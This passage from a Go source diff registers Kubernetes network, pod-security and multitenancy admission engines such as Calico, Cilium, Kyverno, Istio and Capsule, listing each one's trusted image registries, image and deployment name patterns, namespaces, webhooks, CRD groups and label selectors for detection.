LabelSelectors: []string{"cnrm.cloud.google.com/component=cnrm-controller-manager"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Azure Service Operator
|
||||
r.register(&Engine{
|
||||
ID: "azure-service-operator",
|
||||
Name: "Azure Service Operator",
|
||||
Category: CategoryMultitenancy,
|
||||
TrustedRegistries: []string{
|
||||
"mcr.microsoft.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"azure-service-operator",
|
||||
"aso-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"azureserviceoperator-controller-manager"},
|
||||
ExpectedNamespaces: []string{"azureserviceoperator-system", "kube-system"},
|
||||
WebhookPatterns: []string{"azureserviceoperator-validating", "azureserviceoperator-mutating"},
|
||||
CRDGroups: []string{"resources.azure.com", "containerservice.azure.com"},
|
||||
LabelSelectors: []string{"control-plane=controller-manager"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Crossplane (multi-cloud resource management)
|
||||
r.register(&Engine{
|
||||
ID: "crossplane",
|
||||
Name: "Crossplane",
|
||||
Category: CategoryMultitenancy,
|
||||
TrustedRegistries: []string{
|
||||
"crossplane/",
|
||||
"xpkg.upbound.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"crossplane/crossplane",
|
||||
"crossplane-runtime",
|
||||
"provider-",
|
||||
},
|
||||
DeploymentPatterns: []string{"crossplane", "crossplane-rbac-manager"},
|
||||
ExpectedNamespaces: []string{"crossplane-system", "upbound-system"},
|
||||
WebhookPatterns: []string{"crossplane"},
|
||||
CRDGroups: []string{"pkg.crossplane.io", "apiextensions.crossplane.io"},
|
||||
LabelSelectors: []string{"app=crossplane", "app.kubernetes.io/name=crossplane"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,553 @@
|
||||
package admission
|
||||
|
||||
// registerNetworkEngines registers all network policy/CNI engines
|
||||
func (r *EngineRegistry) registerNetworkEngines() {
|
||||
// Calico
|
||||
r.register(&Engine{
|
||||
ID: "calico",
|
||||
Name: "Calico",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"calico/",
|
||||
"docker.io/calico/",
|
||||
"quay.io/calico/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"calico/kube-controllers",
|
||||
"calico/cni",
|
||||
"calico/node",
|
||||
"calico/typha",
|
||||
"calico/apiserver",
|
||||
},
|
||||
DeploymentPatterns: []string{"calico-kube-controllers", "calico-typha", "calico-apiserver"},
|
||||
ExpectedNamespaces: []string{"kube-system", "calico-system", "calico-apiserver"},
|
||||
CRDGroups: []string{"crd.projectcalico.org", "projectcalico.org"},
|
||||
LabelSelectors: []string{"k8s-app=calico-node", "k8s-app=calico-kube-controllers"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Cilium
|
||||
r.register(&Engine{
|
||||
ID: "cilium",
|
||||
Name: "Cilium",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"cilium/",
|
||||
"quay.io/cilium/",
|
||||
"docker.io/cilium/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"cilium/cilium",
|
||||
"cilium/operator",
|
||||
"cilium/hubble",
|
||||
},
|
||||
DeploymentPatterns: []string{"cilium-operator", "hubble-relay", "hubble-ui"},
|
||||
ExpectedNamespaces: []string{"kube-system", "cilium"},
|
||||
CRDGroups: []string{"cilium.io"},
|
||||
LabelSelectors: []string{"k8s-app=cilium", "app.kubernetes.io/name=cilium"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Weave Net
|
||||
r.register(&Engine{
|
||||
ID: "weave",
|
||||
Name: "Weave Net",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"weaveworks/",
|
||||
"docker.io/weaveworks/",
|
||||
"ghcr.io/weaveworks/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"weaveworks/weave-kube",
|
||||
"weaveworks/weave-npc",
|
||||
"weave-kube",
|
||||
"weave-npc",
|
||||
},
|
||||
DeploymentPatterns: []string{"weave-net"},
|
||||
ExpectedNamespaces: []string{"kube-system", "weave"},
|
||||
LabelSelectors: []string{"name=weave-net", "weave-net"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Flannel
|
||||
r.register(&Engine{
|
||||
ID: "flannel",
|
||||
Name: "Flannel",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"flannel/",
|
||||
"docker.io/flannel/",
|
||||
"quay.io/coreos/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"flannel/flannel",
|
||||
"coreos/flannel",
|
||||
"flannel-cni",
|
||||
},
|
||||
DeploymentPatterns: []string{"kube-flannel"},
|
||||
ExpectedNamespaces: []string{"kube-system", "kube-flannel"},
|
||||
LabelSelectors: []string{"app=flannel", "k8s-app=flannel"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Antrea
|
||||
r.register(&Engine{
|
||||
ID: "antrea",
|
||||
Name: "Antrea",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"antrea/",
|
||||
"projects.registry.vmware.com/antrea/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"antrea/antrea-agent",
|
||||
"antrea/antrea-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"antrea-controller"},
|
||||
ExpectedNamespaces: []string{"kube-system", "antrea-system"},
|
||||
CRDGroups: []string{"crd.antrea.io", "controlplane.antrea.io"},
|
||||
LabelSelectors: []string{"app=antrea", "component=antrea-controller"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kube-router
|
||||
r.register(&Engine{
|
||||
ID: "kuberouter",
|
||||
Name: "Kube-router",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"cloudnativelabs/",
|
||||
"docker.io/cloudnativelabs/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kube-router",
|
||||
"cloudnativelabs/kube-router",
|
||||
},
|
||||
DeploymentPatterns: []string{"kube-router"},
|
||||
ExpectedNamespaces: []string{"kube-system"},
|
||||
LabelSelectors: []string{"k8s-app=kube-router"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Canal (Calico + Flannel)
|
||||
r.register(&Engine{
|
||||
ID: "canal",
|
||||
Name: "Canal",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"calico/",
|
||||
"docker.io/calico/",
|
||||
"quay.io/calico/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"calico/cni",
|
||||
"flannel",
|
||||
},
|
||||
DeploymentPatterns: []string{"canal"},
|
||||
ExpectedNamespaces: []string{"kube-system"},
|
||||
LabelSelectors: []string{"k8s-app=canal"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// OVN-Kubernetes
|
||||
r.register(&Engine{
|
||||
ID: "ovn",
|
||||
Name: "OVN-Kubernetes",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/ovn-org/",
|
||||
"quay.io/ovn-org/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"ovn-kubernetes",
|
||||
"ovnkube-node",
|
||||
"ovn-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"ovnkube-master", "ovnkube-db"},
|
||||
ExpectedNamespaces: []string{"ovn-kubernetes", "openshift-ovn-kubernetes"},
|
||||
LabelSelectors: []string{"app=ovnkube-master", "app=ovnkube-node"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// AWS VPC CNI
|
||||
r.register(&Engine{
|
||||
ID: "aws-vpc-cni",
|
||||
Name: "AWS VPC CNI",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"602401143452.dkr.ecr.",
|
||||
"amazon/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"amazon-k8s-cni",
|
||||
"aws-vpc-cni",
|
||||
},
|
||||
DeploymentPatterns: []string{"aws-node"},
|
||||
ExpectedNamespaces: []string{"kube-system"},
|
||||
LabelSelectors: []string{"k8s-app=aws-node"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Azure CNI
|
||||
r.register(&Engine{
|
||||
ID: "azure-cni",
|
||||
Name: "Azure CNI",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"mcr.microsoft.com/",
|
||||
"containernetworking/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"azure-cni",
|
||||
"azure-vnet",
|
||||
},
|
||||
DeploymentPatterns: []string{"azure-cni-networkmonitor"},
|
||||
ExpectedNamespaces: []string{"kube-system"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// GKE Network Policy
|
||||
r.register(&Engine{
|
||||
ID: "gke-netpol",
|
||||
Name: "GKE Network Policy",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"gke.gcr.io/",
|
||||
"gcr.io/gke-release/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"netd",
|
||||
"network-policy-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"calico-node", "calico-typha"},
|
||||
ExpectedNamespaces: []string{"kube-system"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Multus CNI
|
||||
r.register(&Engine{
|
||||
ID: "multus",
|
||||
Name: "Multus CNI",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/k8snetworkplumbingwg/",
|
||||
"nfvpe/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"multus-cni",
|
||||
"multus",
|
||||
},
|
||||
DeploymentPatterns: []string{"kube-multus"},
|
||||
ExpectedNamespaces: []string{"kube-system"},
|
||||
CRDGroups: []string{"k8s.cni.cncf.io"},
|
||||
LabelSelectors: []string{"app=multus", "name=multus"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Policy Engines with Network Policy Capabilities
|
||||
// =============================================================================
|
||||
|
||||
// OPA Gatekeeper - Can enforce constraints on NetworkPolicy resources
|
||||
r.register(&Engine{
|
||||
ID: "gatekeeper",
|
||||
Name: "OPA Gatekeeper",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"openpolicyagent/",
|
||||
"quay.io/gatekeeper/",
|
||||
"docker.io/openpolicyagent/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"openpolicyagent/gatekeeper",
|
||||
"gatekeeper",
|
||||
},
|
||||
DeploymentPatterns: []string{"gatekeeper-controller-manager", "gatekeeper-audit"},
|
||||
ExpectedNamespaces: []string{"gatekeeper-system", "kube-system"},
|
||||
WebhookPatterns: []string{"gatekeeper-validating", "gatekeeper-mutating"},
|
||||
CRDGroups: []string{"constraints.gatekeeper.sh", "templates.gatekeeper.sh"},
|
||||
LabelSelectors: []string{"control-plane=controller-manager", "gatekeeper.sh/system=yes"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kyverno - Can validate/mutate NetworkPolicy resources
|
||||
r.register(&Engine{
|
||||
ID: "kyverno",
|
||||
Name: "Kyverno",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/kyverno/",
|
||||
"nirmata/",
|
||||
"docker.io/nirmata/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kyverno/kyverno",
|
||||
"kyverno",
|
||||
"nirmata/kyverno",
|
||||
},
|
||||
DeploymentPatterns: []string{"kyverno", "kyverno-admission-controller"},
|
||||
ExpectedNamespaces: []string{"kyverno", "kube-system"},
|
||||
WebhookPatterns: []string{"kyverno-resource-validating", "kyverno-resource-mutating"},
|
||||
CRDGroups: []string{"kyverno.io"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=kyverno", "app=kyverno"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kubewarden - Can enforce policies on NetworkPolicy resources
|
||||
r.register(&Engine{
|
||||
ID: "kubewarden",
|
||||
Name: "Kubewarden",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/kubewarden/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kubewarden/policy-server",
|
||||
"kubewarden/kubewarden-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"kubewarden-controller", "policy-server"},
|
||||
ExpectedNamespaces: []string{"kubewarden", "kubewarden-system"},
|
||||
WebhookPatterns: []string{"kubewarden"},
|
||||
CRDGroups: []string{"policies.kubewarden.io"},
|
||||
LabelSelectors: []string{"app=kubewarden-policy-server", "app.kubernetes.io/name=kubewarden-controller"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Service Mesh with Network Policy Capabilities
|
||||
// =============================================================================
|
||||
|
||||
// Istio - AuthorizationPolicy provides L7 network access control
|
||||
r.register(&Engine{
|
||||
ID: "istio",
|
||||
Name: "Istio",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"docker.io/istio/",
|
||||
"istio/",
|
||||
"gcr.io/istio-release/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"istio/proxyv2",
|
||||
"istio/pilot",
|
||||
"istio/istiod",
|
||||
},
|
||||
DeploymentPatterns: []string{"istiod", "istio-ingressgateway", "istio-egressgateway"},
|
||||
ExpectedNamespaces: []string{"istio-system"},
|
||||
CRDGroups: []string{"security.istio.io", "networking.istio.io"},
|
||||
LabelSelectors: []string{"app=istiod", "istio=pilot"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Linkerd - Server/ServerAuthorization for L7 network policies
|
||||
r.register(&Engine{
|
||||
ID: "linkerd",
|
||||
Name: "Linkerd",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"cr.l5d.io/linkerd/",
|
||||
"ghcr.io/linkerd/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"linkerd/controller",
|
||||
"linkerd/proxy",
|
||||
"linkerd/policy-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"linkerd-destination", "linkerd-identity", "linkerd-proxy-injector"},
|
||||
ExpectedNamespaces: []string{"linkerd"},
|
||||
CRDGroups: []string{"policy.linkerd.io"},
|
||||
LabelSelectors: []string{"linkerd.io/control-plane-component"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// CNAPP Platforms with Network Capabilities
|
||||
// =============================================================================
|
||||
|
||||
// Aqua - Network micro-segmentation
|
||||
r.register(&Engine{
|
||||
ID: "aqua",
|
||||
Name: "Aqua Security",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"aquasec/",
|
||||
"registry.aquasec.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"aquasec/enforcer",
|
||||
"aquasec/kube-enforcer",
|
||||
},
|
||||
DeploymentPatterns: []string{"aqua-enforcer", "aqua-kube-enforcer"},
|
||||
ExpectedNamespaces: []string{"aqua", "aqua-security"},
|
||||
LabelSelectors: []string{"app=aqua-enforcer"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Prisma Cloud - Network segmentation
|
||||
r.register(&Engine{
|
||||
ID: "prisma",
|
||||
Name: "Prisma Cloud",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"registry.twistlock.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"twistlock/defender",
|
||||
"twistlock/console",
|
||||
},
|
||||
DeploymentPatterns: []string{"twistlock-defender", "twistlock-console"},
|
||||
ExpectedNamespaces: []string{"twistlock", "prisma-cloud"},
|
||||
LabelSelectors: []string{"app=twistlock-defender"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Sysdig - Network security policies
|
||||
r.register(&Engine{
|
||||
ID: "sysdig",
|
||||
Name: "Sysdig Secure",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/sysdig/",
|
||||
"sysdig/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"sysdig/agent",
|
||||
"sysdig/node-analyzer",
|
||||
},
|
||||
DeploymentPatterns: []string{"sysdig-agent"},
|
||||
ExpectedNamespaces: []string{"sysdig", "sysdig-agent"},
|
||||
LabelSelectors: []string{"app=sysdig-agent", "app.kubernetes.io/name=sysdig"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// StackRox/RHACS - Network policies
|
||||
r.register(&Engine{
|
||||
ID: "stackrox",
|
||||
Name: "StackRox/RHACS",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/stackrox-io/",
|
||||
"registry.redhat.io/advanced-cluster-security/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"stackrox/main",
|
||||
"stackrox/collector",
|
||||
"rhacs/main",
|
||||
},
|
||||
DeploymentPatterns: []string{"central", "sensor", "collector"},
|
||||
ExpectedNamespaces: []string{"stackrox", "rhacs-operator"},
|
||||
CRDGroups: []string{"platform.stackrox.io"},
|
||||
LabelSelectors: []string{"app=central", "app=sensor"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// NeuVector - Network segmentation and protection
|
||||
r.register(&Engine{
|
||||
ID: "neuvector",
|
||||
Name: "NeuVector",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"neuvector/",
|
||||
"docker.io/neuvector/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"neuvector/enforcer",
|
||||
"neuvector/controller",
|
||||
"neuvector/manager",
|
||||
},
|
||||
DeploymentPatterns: []string{"neuvector-controller-pod", "neuvector-manager-pod"},
|
||||
ExpectedNamespaces: []string{"neuvector", "cattle-neuvector-system"},
|
||||
CRDGroups: []string{"neuvector.com"},
|
||||
LabelSelectors: []string{"app=neuvector-controller-pod", "app=neuvector-enforcer-pod"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Additional Policy/Security Tools with Network Capabilities
|
||||
// =============================================================================
|
||||
|
||||
// Polaris - Checks for NetworkPolicy existence as a best practice
|
||||
r.register(&Engine{
|
||||
ID: "polaris",
|
||||
Name: "Polaris",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/fairwinds/",
|
||||
"fairwinds/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"fairwinds/polaris",
|
||||
"polaris",
|
||||
},
|
||||
DeploymentPatterns: []string{"polaris"},
|
||||
ExpectedNamespaces: []string{"polaris", "kube-system"},
|
||||
WebhookPatterns: []string{"polaris-webhook"},
|
||||
LabelSelectors: []string{"app=polaris", "app.kubernetes.io/name=polaris"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Conftest - OPA-based policy testing for NetworkPolicy resources
|
||||
r.register(&Engine{
|
||||
ID: "conftest",
|
||||
Name: "Conftest",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"openpolicyagent/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"conftest",
|
||||
"openpolicyagent/conftest",
|
||||
},
|
||||
DeploymentPatterns: []string{"conftest"},
|
||||
ExpectedNamespaces: []string{"conftest", "kube-system"},
|
||||
WebhookPatterns: []string{"conftest"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Multitenancy Platforms with Network Isolation
|
||||
// =============================================================================
|
||||
|
||||
// Capsule - Tenant network isolation
|
||||
r.register(&Engine{
|
||||
ID: "capsule",
|
||||
Name: "Capsule",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/clastix/",
|
||||
"ghcr.io/clastix/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"clastix/capsule",
|
||||
"capsule",
|
||||
},
|
||||
DeploymentPatterns: []string{"capsule-controller-manager"},
|
||||
ExpectedNamespaces: []string{"capsule-system", "kube-system"},
|
||||
WebhookPatterns: []string{"capsule-validating", "capsule-mutating"},
|
||||
CRDGroups: []string{"capsule.clastix.io"},
|
||||
LabelSelectors: []string{"control-plane=controller-manager", "app=capsule"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Rancher - Project-level network isolation policies
|
||||
r.register(&Engine{
|
||||
ID: "rancher",
|
||||
Name: "Rancher",
|
||||
Category: CategoryNetwork,
|
||||
TrustedRegistries: []string{
|
||||
"rancher/",
|
||||
"docker.io/rancher/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"rancher/rancher",
|
||||
"rancher/rancher-agent",
|
||||
},
|
||||
DeploymentPatterns: []string{"rancher"},
|
||||
ExpectedNamespaces: []string{"cattle-system", "rancher"},
|
||||
WebhookPatterns: []string{"rancher-webhook"},
|
||||
CRDGroups: []string{"management.cattle.io", "project.cattle.io"},
|
||||
LabelSelectors: []string{"app=rancher"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,267 @@
|
||||
package admission
|
||||
|
||||
// registerPodEngines registers all pod security/policy engines
|
||||
func (r *EngineRegistry) registerPodEngines() {
|
||||
// OPA Gatekeeper
|
||||
r.register(&Engine{
|
||||
ID: "gatekeeper",
|
||||
Name: "OPA Gatekeeper",
|
||||
Category: CategoryPod,
|
||||
TrustedRegistries: []string{
|
||||
"openpolicyagent/",
|
||||
"quay.io/gatekeeper/",
|
||||
"docker.io/openpolicyagent/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"openpolicyagent/gatekeeper",
|
||||
"gatekeeper",
|
||||
},
|
||||
DeploymentPatterns: []string{"gatekeeper-controller-manager", "gatekeeper-audit"},
|
||||
ExpectedNamespaces: []string{"gatekeeper-system", "kube-system"},
|
||||
WebhookPatterns: []string{"gatekeeper-validating", "gatekeeper-mutating"},
|
||||
CRDGroups: []string{"gatekeeper.sh", "constraints.gatekeeper.sh", "templates.gatekeeper.sh"},
|
||||
LabelSelectors: []string{"control-plane=controller-manager", "gatekeeper.sh/system=yes"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kyverno
|
||||
r.register(&Engine{
|
||||
ID: "kyverno",
|
||||
Name: "Kyverno",
|
||||
Category: CategoryPod,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/kyverno/",
|
||||
"nirmata/",
|
||||
"docker.io/nirmata/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kyverno/kyverno",
|
||||
"kyverno",
|
||||
"nirmata/kyverno",
|
||||
},
|
||||
DeploymentPatterns: []string{"kyverno", "kyverno-admission-controller"},
|
||||
ExpectedNamespaces: []string{"kyverno", "kube-system"},
|
||||
WebhookPatterns: []string{"kyverno-resource-validating", "kyverno-resource-mutating"},
|
||||
CRDGroups: []string{"kyverno.io"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=kyverno", "app=kyverno"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Pod Security Admission (built-in)
|
||||
r.register(&Engine{
|
||||
ID: "psa",
|
||||
Name: "Pod Security Admission",
|
||||
Category: CategoryPod,
|
||||
TrustedRegistries: []string{
|
||||
"registry.k8s.io/",
|
||||
"k8s.gcr.io/",
|
||||
},
|
||||
ImagePatterns: []string{}, // Built into API server
|
||||
DeploymentPatterns: []string{},
|
||||
ExpectedNamespaces: []string{"kube-system"},
|
||||
LabelSelectors: []string{"pod-security.kubernetes.io/enforce"},
|
||||
RequireImageVerification: false, // Built-in feature
|
||||
})
|
||||
|
||||
// Polaris
|
||||
r.register(&Engine{
|
||||
ID: "polaris",
|
||||
Name: "Polaris",
|
||||
Category: CategoryPod,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/fairwinds/",
|
||||
"fairwinds/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"fairwinds/polaris",
|
||||
"polaris",
|
||||
},
|
||||
DeploymentPatterns: []string{"polaris"},
|
||||
ExpectedNamespaces: []string{"polaris", "kube-system"},
|
||||
WebhookPatterns: []string{"polaris-webhook"},
|
||||
LabelSelectors: []string{"app=polaris", "app.kubernetes.io/name=polaris"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Datree
|
||||
r.register(&Engine{
|
||||
ID: "datree",
|
||||
Name: "Datree",
|
||||
Category: CategoryPod,
|
||||
TrustedRegistries: []string{
|
||||
"datree/",
|
||||
"docker.io/datree/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"datree/admission-webhook",
|
||||
"datree/webhook-server",
|
||||
},
|
||||
DeploymentPatterns: []string{"datree-webhook"},
|
||||
ExpectedNamespaces: []string{"datree", "kube-system"},
|
||||
WebhookPatterns: []string{"datree-webhook"},
|
||||
LabelSelectors: []string{"app=datree-webhook"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kubewarden (also used for pod security)
|
||||
r.register(&Engine{
|
||||
ID: "kubewarden-pod",
|
||||
Name: "Kubewarden",
|
||||
Category: CategoryPod,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/kubewarden/",
|
||||
"docker.io/kubewarden/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kubewarden/policy-server",
|
||||
"kubewarden/kubewarden-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"kubewarden-controller", "policy-server"},
|
||||
ExpectedNamespaces: []string{"kubewarden", "kube-system"},
|
||||
WebhookPatterns: []string{"kubewarden"},
|
||||
CRDGroups: []string{"policies.kubewarden.io"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=kubewarden"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Copper
|
||||
r.register(&Engine{
|
||||
ID: "copper",
|
||||
Name: "Copper",
|
||||
Category: CategoryPod,
|
||||
TrustedRegistries: []string{
|
||||
"cloud66/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"copper-webhook",
|
||||
},
|
||||
DeploymentPatterns: []string{"copper"},
|
||||
ExpectedNamespaces: []string{"copper", "kube-system"},
|
||||
WebhookPatterns: []string{"copper"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// K-Rail
|
||||
r.register(&Engine{
|
||||
ID: "krail",
|
||||
Name: "K-Rail",
|
||||
Category: CategoryPod,
|
||||
TrustedRegistries: []string{
|
||||
"cruise/",
|
||||
"ghcr.io/cruise-automation/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"cruise-automation/k-rail",
|
||||
"k-rail",
|
||||
},
|
||||
DeploymentPatterns: []string{"k-rail"},
|
||||
ExpectedNamespaces: []string{"k-rail", "kube-system"},
|
||||
WebhookPatterns: []string{"k-rail"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// jsPolicy
|
||||
r.register(&Engine{
|
||||
ID: "jspolicy",
|
||||
Name: "jsPolicy",
|
||||
Category: CategoryPod,
|
||||
TrustedRegistries: []string{
|
||||
"loftsh/",
|
||||
"ghcr.io/loft-sh/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"loftsh/jspolicy",
|
||||
"loft-sh/jspolicy",
|
||||
"jspolicy",
|
||||
},
|
||||
DeploymentPatterns: []string{"jspolicy", "jspolicy-controller"},
|
||||
ExpectedNamespaces: []string{"jspolicy", "kube-system"},
|
||||
WebhookPatterns: []string{"jspolicy"},
|
||||
CRDGroups: []string{"policy.jspolicy.com"},
|
||||
LabelSelectors: []string{"app=jspolicy", "app.kubernetes.io/name=jspolicy"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kube-LINTER (pod linting)
|
||||
r.register(&Engine{
|
||||
ID: "kube-linter",
|
||||
Name: "KubeLinter",
|
||||
Category: CategoryPod,
|
||||
TrustedRegistries: []string{
|
||||
"stackrox/",
|
||||
"quay.io/stackrox/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kube-linter",
|
||||
"stackrox/kube-linter",
|
||||
},
|
||||
DeploymentPatterns: []string{"kube-linter"},
|
||||
ExpectedNamespaces: []string{"kube-linter", "kube-system"},
|
||||
WebhookPatterns: []string{"kube-linter"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Conftest (OPA-based testing)
|
||||
r.register(&Engine{
|
||||
ID: "conftest",
|
||||
Name: "Conftest",
|
||||
Category: CategoryPod,
|
||||
TrustedRegistries: []string{
|
||||
"openpolicyagent/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"conftest",
|
||||
"openpolicyagent/conftest",
|
||||
},
|
||||
DeploymentPatterns: []string{"conftest"},
|
||||
ExpectedNamespaces: []string{"conftest", "kube-system"},
|
||||
WebhookPatterns: []string{"conftest"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Multitenancy Platforms with Pod Security Enforcement
|
||||
// =============================================================================
|
||||
|
||||
// Capsule - Tenant pod restrictions and security policies
|
||||
r.register(&Engine{
|
||||
ID: "capsule",
|
||||
Name: "Capsule",
|
||||
Category: CategoryPod,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/clastix/",
|
||||
"ghcr.io/clastix/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"clastix/capsule",
|
||||
"capsule",
|
||||
},
|
||||
DeploymentPatterns: []string{"capsule-controller-manager"},
|
||||
ExpectedNamespaces: []string{"capsule-system", "kube-system"},
|
||||
WebhookPatterns: []string{"capsule-validating", "capsule-mutating"},
|
||||
